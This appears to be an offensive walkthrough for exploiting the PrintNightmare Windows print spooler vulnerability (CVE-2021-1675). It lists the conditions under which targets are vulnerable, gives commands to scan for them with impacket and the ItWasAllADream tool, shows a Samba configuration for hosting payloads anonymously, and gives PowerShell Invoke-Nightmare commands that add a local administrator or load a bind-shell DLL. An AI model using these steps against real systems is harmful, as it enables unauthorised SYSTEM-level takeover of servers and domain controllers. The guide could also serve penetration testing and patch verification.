CVE-2021-1675 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare."
The print spooler service is vulnerable to remote code execution that leverages a compromised user account, either domain-joined or local account, to take full control of a system as the NT SYSTEM user. Proof-of-concept (PoC) code has been made publicly available for this new vulnerability leaving every Windows system at extreme risk.
An adversary exploiting this vulnerability can leverage a domain-joined account, regardless of permissions, to take full control as NT SYSTEM on any domain-joined Windows system. This includes servers and Domain Controllers. An adversary exploiting this vulnerability can also leverage a local account to take full control as NT SYSTEM on any Windows system that the local account is valid.
Requirements
Spooler Service enabled (Mandatory)
Server with patches < June 21
DC with Pre Windows 2000 Compatibility group
Server with registry key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall = (DWORD) 1
Server with registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = (DWORD) 0
Target Detection
We can use rpcdump.py from impacket to scan for potential vulnerable hosts, if it returns a value, it could be vulnerable
# impacketpython3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol Protocol: [MS-RPRN]: Print System Remote Protocol# it was all a dreamgit clone https://github.com/byt3bl33d3r/ItWasAllADreamcd ItWasAllADream && poetry install && poetry shellitwasalladream -u user -p Password123 -d domain 10.10.10.10/24docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
Tools
Exploitation
here we use the python exploit because it can do the job remotely.
Easiest way to host payloads is to use samba and modify /etc/samba/smb.conf to allow anonymous access
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
## LPE only (PS1 + DLL)Import-Module .\cve-2021-1675.ps1Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by defaultInvoke-Nightmare -DriverName "Dementor"-NewUser "d3m3nt0r"-NewPassword "AzkabanUnleashed123*"Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"